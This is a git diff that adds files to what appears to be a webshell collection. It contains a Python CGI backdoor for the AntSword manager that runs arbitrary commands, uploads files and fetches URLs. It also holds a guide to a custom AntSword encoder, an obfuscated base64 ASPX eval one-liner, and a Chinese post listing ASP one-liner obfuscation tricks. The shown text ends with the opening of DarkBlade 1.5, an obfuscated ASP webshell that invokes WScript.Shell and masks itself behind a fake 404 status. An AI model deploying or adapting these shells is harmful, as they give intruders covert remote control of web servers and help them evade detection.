+@return None 直接在本方法内输出文件的二进制内容,失败则抛出异常
+'''
+ with open(path.encode(ENCODE), 'r') as fp:
+ print(fp.read(),end='')
+
+def UploadFileCode(path, content):
+ u'''上传文件
+@param path string 文件路径 eg: /tmp/123
+@param content hexstring 文件内容(分段) eg: 416e74 内容为 Ant
+@return ret string 成功返回 1 失败返回 0 或抛出异常
+'''
+ data = binascii.a2b_hex(content)
+ with open(path.encode(ENCODE), "a") as f:
+ f.write(data)
+ return "1"
+
+def CopyFileOrDirCode(oldPath, newPath):
+ u'''复制文件或目录
+@param oldPath string 原文件/目录路径 eg: /etc/passwd
+@param newPath string 新文件/目录路径 eg: /tmp/passwd
+@return ret string 成功返回 1 失败返回 0 或抛出异常
+'''
+ if os.path.isdir(oldPath.encode(ENCODE)):
+ shutil.copytree(oldPath.encode(ENCODE), newPath.encode(ENCODE),symlinks=True)
+ else:
+ shutil.copy(oldPath.encode(ENCODE), newPath.encode(ENCODE))
+ return "1"
+
+def RenameFileOrDirCode(oldPath, newPath):
+ u'''重命名文件或目录
+@param oldPath string 原文件/目录路径 eg: /tmp/123
+@param newPath string 新文件/目录路径 eg: /tmp/456
+@return ret string 成功返回 1 失败返回 0 或抛出异常
+'''
+ os.rename(oldPath.encode(ENCODE), newPath.encode(ENCODE))
+ return "1"
+
+def CreateDirCode(path):
+ u'''新建目录
+@param path string 新目录路径 eg: /tmp/123
+@return ret string 成功返回 1 失败返回 0 或抛出异常
+'''
+ os.makedirs(path.encode(ENCODE))
+ return "1"
+
+def ModifyFileOrDirTimeCode(path, newTime):
+ u'''修改文件或目录的 最后一次修改时间
+@param path string 文件/目录路径 eg: /tmp/123
+@param newTime string 时间字符串 eg: 2018-12-12 20:48:54
+@return ret string 成功返回 1 失败返回 0
+'''
+ atime = int(time.mktime(time.strptime(newTime, '%Y-%m-%d %H:%M:%S')))
+ os.utime(path.encode(ENCODE), (atime, atime))
+ return "1"
+
+def WgetCode(url, savepath):
+ u'''服务端 Wget
+@param url string url 地址 eg: http://xxx.com/1.jpg
+@param savepath string 文件路径 eg: /tmp/2.jpg
+@return ret string 成功返回 1 失败返回 0
+'''
+ urllib.urlretrieve(url, filename=savepath.encode(ENCODE))
+ return "1"
+
+def ExecuteCommandCode(cmdPath, command):
+ u'''执行命令
+@param cmdPath string 执行命令的shell路径 eg: /bin/sh
+@param command string 执行的命令内容 eg: cd "/usr/";pwd;whoami
+@return ret string 执行命令返回结果
+'''
+ d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
+ if(d == ""):
+ d = os.getcwd()
+ cmd = []
+ if d[0] == "/":
+ cmd = [cmdPath, '-c', '%s' % command]
+ else:
+ cmd = '''%s /c "%s"''' % (cmdPath, command)
+ c_stdin, c_stdout, c_stderr = os.popen3(cmd)
+ c_stdin.close()
+ result = c_stdout.read()
+ c_stdout.close()
+ errmsg = c_stderr.read()
+ c_stderr.close()
+ return result + errmsg
+
+def showDatabases(encode, conf):
+ u'''列出当前数据库系统下所有数据库
+@param encode string 数据库连接编码 eg:utf8
+@param conf string 连接字符串, 自己定义解析格式
+@return ret string 执行结果, \t 为字段分割符
+例如某连接下有3个数据库(mysql,test,information_schema),
+则返回结果为:
+mysql\ttest\tinformation_schema
+'''
+ return "ERROR:// Not Implement"
+
+def showTables(encode, conf, dbname):
+ u'''列出当前数据库下所有表
+@param encode string 数据库连接编码 eg:utf8
+@param conf string 连接字符串, 自己定义解析格式
+@param dbname string 数据库名 eg: mysql
+@return ret string 执行结果, \t 为字段分割符
+例如某数据库下有3张表(user,admin,member),则返回结果为:
+user\tadmin\tmember
+'''
+ return "ERROR:// Not Implement"
+
+def showColumns(encode, conf, dbname, table):
+ u'''列出当前表下所有列
+@param encode string 数据库连接编码 eg:utf8
+@param conf string 连接字符串, 自己定义解析格式
+@param dbname string 数据库名 eg: mysql
+@param table string 表名 eg: user
+@return ret string 执行结果, \t 为字段分割符
+例如某张表有3个字段(id,user,password), 则返回数据如下:
+id\tuser\tpassword
+'''
+ return "ERROR:// Not Implement"
+
+def query(encode, conf, sql):
+ u'''执行 sql 语句
+@param encode string 数据库连接编码 eg:utf8
+@param conf string 连接字符串, 自己定义解析格式
+@param sql string 要执行的sql语句
+@return ret string 执行结果, \t|\t 为列分割符, \r\n为行分割符, 第一行为列名
+例如某张表有3个字段(id,user,password), 查询的结果有2条数据,则返回数据如下:
+id\t|\tuser\t|\tpassword\r\n1\t|\tadmin\t|\t123456\r\n2\t|\tuser\t|\t123456\r\n
+'''
+ return "ERROR:// Not Implement"
+
+if __name__ == "__main__":
+ print("Content-Type: text/html;charset=%s" % ENCODE)
+ print()
+
+ print(OUT_PREFIX.decode(ENCODE), end='')
+ ret = ""
+ try:
+ form = cgi.FieldStorage()
+ funcode = form.getvalue(PWD)
+ z0 = Decoder(form.getvalue("z0","").decode())
+ z1 = Decoder(form.getvalue("z1","").decode())
+ z2 = Decoder(form.getvalue("z2","").decode())
+ z3 = Decoder(form.getvalue("z3","").decode())
+
+ if(funcode == "A"):
+ ret = BaseInfo()
+ elif(funcode == "B"):
+ ret = FileTreeCode(z1)
+ elif(funcode == 'C'):
+ ret = ReadFileCode(z1)
+ elif(funcode == 'D'):
+ ret = WriteFileCode(z1, z2)
+ elif(funcode == 'E'):
+ ret = DeleteFileOrDirCode(z1)
+ elif(funcode == 'F'):
+ DownloadFileCode(z1)
+ elif(funcode == 'U'):
+ ret = UploadFileCode(z1, z2)
+ elif(funcode == 'H'):
+ ret = CopyFileOrDirCode(z1, z2)
+ elif(funcode == 'I'):
+ ret = RenameFileOrDirCode(z1, z2)
+ elif(funcode == 'J'):
+ ret = CreateDirCode(z1)
+ elif(funcode == 'K'):
+ ret = ModifyFileOrDirTimeCode(z1, z2)
+ elif(funcode == 'L'):
+ ret = WgetCode(z1, z2)
+ elif(funcode == 'M'):
+ ret = ExecuteCommandCode(z1, z2)
+ elif(funcode == 'N'):
+ ret = showDatabases(z0, z1)
+ elif(funcode == 'O'):
+ ret = showTables(z0, z1, z2)
+ elif(funcode == 'P'):
+ ret = showColumns(z0, z1, z2, z3)
+ elif(funcode == 'Q'):
+ ret = query(z0, z1, z2)
+ else:
+ pass
+ except Exception, e:
+ ret = "ERROR:// %s" % getattr(e, 'strerror', str(e))
+
+ print(ret, end="")
+ print(OUT_SUFFIX.decode(ENCODE))
diff --git a/antSword/2016051523122747980.png b/antSword/2016051523122747980.png
new file mode 100644
index 00000000..b6aaf94a
Binary files /dev/null and b/antSword/2016051523122747980.png differ
diff --git a/antSword/2016051523124431883.png b/antSword/2016051523124431883.png
new file mode 100644
index 00000000..675a18ef
Binary files /dev/null and b/antSword/2016051523124431883.png differ
diff --git a/antSword/2016051523132374985.png b/antSword/2016051523132374985.png
new file mode 100644
index 00000000..8e81c606
Binary files /dev/null and b/antSword/2016051523132374985.png differ
diff --git a/antSword/2016051523140225737.png b/antSword/2016051523140225737.png
new file mode 100644
index 00000000..1a8257de
Binary files /dev/null and b/antSword/2016051523140225737.png differ
diff --git a/antSword/mybase.md b/antSword/mybase.md
new file mode 100644
index 00000000..de58605d
--- /dev/null
+++ b/antSword/mybase.md
@@ -0,0 +1,33 @@
+shell code
+```php
+
+```
+
+add : source/core/php/encoder/mybase64.js
+
+
+```js
+module.exports = (pwd, data) => {
+ data[pwd] = new Buffer(data['_']).toString('base64');
+ delete data['_'];
+ return data;
+}
+```
+
+edit : sources/core/php/index.js < add some code: regedit mybase64.js
+
+
+```js
+ get encoders() {
+ return ['chr', 'base64', 'mybase64'];
+ }
+```
+restart antsword, and add shell, select mybase64 encode for this shell code.
+
+
+
diff --git a/asp/2022-08-12.aspx.txt b/asp/2022-08-12.aspx.txt
new file mode 100644
index 00000000..ab1a0d77
--- /dev/null
+++ b/asp/2022-08-12.aspx.txt
@@ -0,0 +1,2 @@
+<%@Page Language="Jscript"%>
+<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NjA4N'+'TkyO3'+'ZhciB'+'zYWZl'+''+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('UA=='))+'S'+char(23088/312)+'1'+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('Yg=='))+''+''+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('bg=='))+char(0x479a/0xeb)+char(0x1b4-0x14c)+char(0x370-0x316)+char(0x214-0x1a7)+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydw'+'YXNzJ'+'10sIH'+'NhZmU'+'pOzE4'+'MjU3N'+'zY7'+'')));%>
diff --git "a/asp/Asp\346\234\200\346\226\260\345\217\230\345\275\242\344\270\200\345\217\245\350\257\2352014-11-21.asp.md" "b/asp/Asp\346\234\200\346\226\260\345\217\230\345\275\242\344\270\200\345\217\245\350\257\2352014-11-21.asp.md"
new file mode 100644
index 00000000..3063d1e1
--- /dev/null
+++ "b/asp/Asp\346\234\200\346\226\260\345\217\230\345\275\242\344\270\200\345\217\245\350\257\2352014-11-21.asp.md"
@@ -0,0 +1,56 @@
+变形之后的Asp一句话:
+
+Author : RainShine
+
+1.逆序法
+
+ <%execute(strreverse(")""xx""(tseuqer lave"))%>
+
+2.拆分法(浑水摸鱼法)
+
+ <%
+ xx=request("xx")
+ eval xx
+ %>
+
+ <%
+ xx=request("xx")
+ Rain=xx
+ eval Rain
+ %>
+
+3.replace函数
+
+ <%
+ xxx="e0x0e0c0ut0e(0req0ue0st(""x0x""))"
+ xxx=replace(xxx,"0","")
+ eval xxx
+ %>
+
+
+4. chr()连接字符串。例如
+```<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%>```
+
+
+5.Mid()连接字符串。
+这个貌似没人研究过(或者说没人发过),我就发一下吧。基本思路:乱序一个字符串然后反复Mid取字符构成一句话。
+
+ <%
+ Function d(s):d=Mid(love,s,1):End Function:love="(tqxuesrav l)"&"""":execute(d(6)&d(10)&d(9)&d(12)&d(11)&d(8)&d(6)&d(3)&d(5)&d(6)&d(7)&d(2)&d(1)&d(14)&d(4)&d(4)&d(14)&d(13))
+ %>
+
+
+6.字符连接成字符串
+
+ <%eval("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0″&"-"&"2″&"-"&"5″&")"&")")%> 密码-7
+
+
+差不多也就想到这些,已经成为酱油党,无法在某些领域发帖了。
+
+本人抗击打能力不错,抗打击能力一般,各位手下留情~
+
+------------苦逼的RainShine
+
+> 另外一个白帽子的~~
+ <%@codepage=65000%>
+ <%e+x-v+x-a+x-l(+x-r+x-e+x-q+x-u+x-e+x-s+x-t+x-(+x-+ACI-c+ACI)+x-)+x-%> 密码是:c
\ No newline at end of file
diff --git a/asp/DarkBlade1.5.asp b/asp/DarkBlade1.5.asp
new file mode 100644
index 00000000..7fbc2399
--- /dev/null
+++ b/asp/DarkBlade1.5.asp
@@ -0,0 +1,3817 @@
+<%@ LANGUAGE='VBScript' CODEPAGE='65001'%>
+<%
+Response.Buffer=True
+Response.Clear
+Response.CharSet="utf-8"
+Server.ScriptTimeOut=300
+'-------------------------------Config-------------------------------
+Const pass="C5E83EDF778C18482D84D5489B8D8F"'admin
+Const pipu=True
+Const iycew=59
+Const ydnj=False
+Const csj="_"
+Const jsrfr="lqbip|rcvdh|ihyn|ihk|ybgqm|aiw|gwk|qmkq|rxg|jksfh|geww|vgm|ulz|jqj|nyf|sesq|ugxyt|pnu|czwfq|yvquw|wckz|uwrty"
+Const amb="login"
+Const alqp="GB2312"
+Const dxpm="asp|asa|cer|cdx"
+Const mhla="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"
+Const nhbqw=50
+Const echs="zzzzzzzz.html"
+Const aerq=False
+'-------------------------------Config-------------------------------
+Dim goaction,lqbip,ihyn,ihk,aiw,gwk,lkyy,iuwq,vnznl,xjab,zjhor,nun,wbxx,cngn,ogfim,rfaq,vfo,nzax,zhyko,mkew,qmkq,ads,ajto,xdmm,rcvdh,ujcmu,qtylw,dqc,rqszr,iij,ogda,exte,mhvec,acjdi,conn,rxg,fkho,bondh,podw,mpj,qebjx,jksfh,geww,jdvf,vgm,ulz,kurmq,jqj,gmhi,nyf,qrqg,zqps,ubql,znx,gtt,ertns,mt,sesq,czwfq,ugxyt,pnu,nuatb,ytusx,pwab,dgj,ybgqm,mvvi,wseta,fjjxv,xjmb,irbw,rke,rhnw,glw,wannd,ldcr,tbe,oth,kylxz,uwdvh,ccnh,nuser,npass,wtpog,pgvr,yvquw,wckz,qqp,ryfj,vujc,uwrty,ktg,ghpc,lqog
+mvvi="DarkBlade 1.5 Sex OverLord Edition"
+wseta="DarkBlade"
+fjjxv="DarkB"++"ladePa"+rtoqv+"ss"
+dxoes()
+nnam()
+uwdvh=jnph()
+If Not uwdvh And goaction<>amb Then grh()
+If aerq And Trim(ramoi("AUT"+meeeq+"H_USER"))="" Then
+Response.Status="401 Unautho"+zcuti+"rized"
+Response.Addheader"WWW-AuThen"+zln+"ticate","BASIC"
+If ramoi("AUT"+meeeq+"H_USER")=""Then Response.End()
+End If
+Select Case goaction
+Case amb
+jnnby()
+Case"bapis"
+lrnyc()
+Case"eyb"
+yzj()
+Case"fbk"
+ptib()
+Case"zzajv"
+ojyen()
+Case"rwumm"
+wbmfm()
+Case"lfx"
+yvs()
+Case"kbqxz"
+awsr()
+Case"gbe"
+nvkq()
+Case"dkdl"
+srxtf()
+Case"ide"
+xibim()
+Case"rcjqh"
+aum()
+Case"Logout"
+mddep()
+Case"jzp"
+jmqbw()
+Case"jilq","veerr"
+fevyb()
+Case Else
+fevyb()
+End Select
+viwe
+Sub dxoes()
+If Not ydnj Then On Error Resume Next
+rfaq=Timer()
+Dim kue,fri,egpnh,zfmf,didec,ubizz,zpsji,qowkf
+servurl=ramoi("URL")
+Set iuwq=nfffq("MSXML"+ifdg+"2.XM"+swww+"LHTTP")
+Set vnznl=nfffq("WS"+qkdx+"cript.She"+nomr+"ll")
+Set xjab=nfffq("Scriptin"+xfw+"g.FileSystemObj"+znlfx+"ect")
+Set zjhor=nfffq("She"+nlrnz+"ll.Applic"+oqzje+"ation")
+If Not IsObject(vnznl)Then Set vnznl=nfffq("WS"+qkdx+"cript.She"+nlrnz+"ll.1")
+If Not IsObject(zjhor)Then Set zjhor=nfffq("She"+nlrnz+"ll.Applic"+oqzje+"ation.1")
+Set wbxx=new RegExp
+wbxx.Global=True
+wbxx.IgnoreCase=True
+wbxx.MultiLine=True
+lkyy=ramoi("SERVER_NAME")
+cngn=ramoi("PATH_INFO")
+ogfim=Lcase(zsz(cngn,"/"))
+nzax=wxw(".")
+zhyko=wxw("/")
+ujcmu=1
+ads=1
+Response.status="404 Not Found"
+End Sub
+Sub nnam()
+If Not ydnj Then On Error Resume Next
+For Each fri in request.queryString
+execute fri&"=request.queryString("""&fri&""")"
+Next
+If InStr(ramoi("CONTENT_TYPE"),"multipart/form-data")>=1 Then
+Set pgvr=new upload_5xsoft
+For Each egpnh in pgvr.xgqlo
+execute egpnh&"=pgvr.Form("""&egpnh&""")"
+Next
+Else
+For Each kue in request.Form
+execute kue&"=request.form("""&kue&""")"
+Next
+End If
+qowkf=Split(jsrfr,"|")
+For Each zpsji in qowkf
+execute""&zpsji&"=mdez("&zpsji&")"
+Next
+lqbip=Replace(lqbip,"/","\")
+If Right(lqbip,1)="\"And Len(lqbip)>3 Then lqbip=Left(lqbip,Len(lqbip)-1)
+End Sub
+Sub viwe()
+If Not ydnj Then On Error Resume Next
+Dim ocmv
+iuwq.abort
+Set iuwq=Nothing
+Set vnznl=Nothing
+Set xjab=Nothing
+Set zjhor=Nothing
+Set wbxx=Nothing
+vfo=timer()
+ocmv=vfo-rfaq
+echo"
"
+mwt gmhi
+sodx"100%"
+echo" |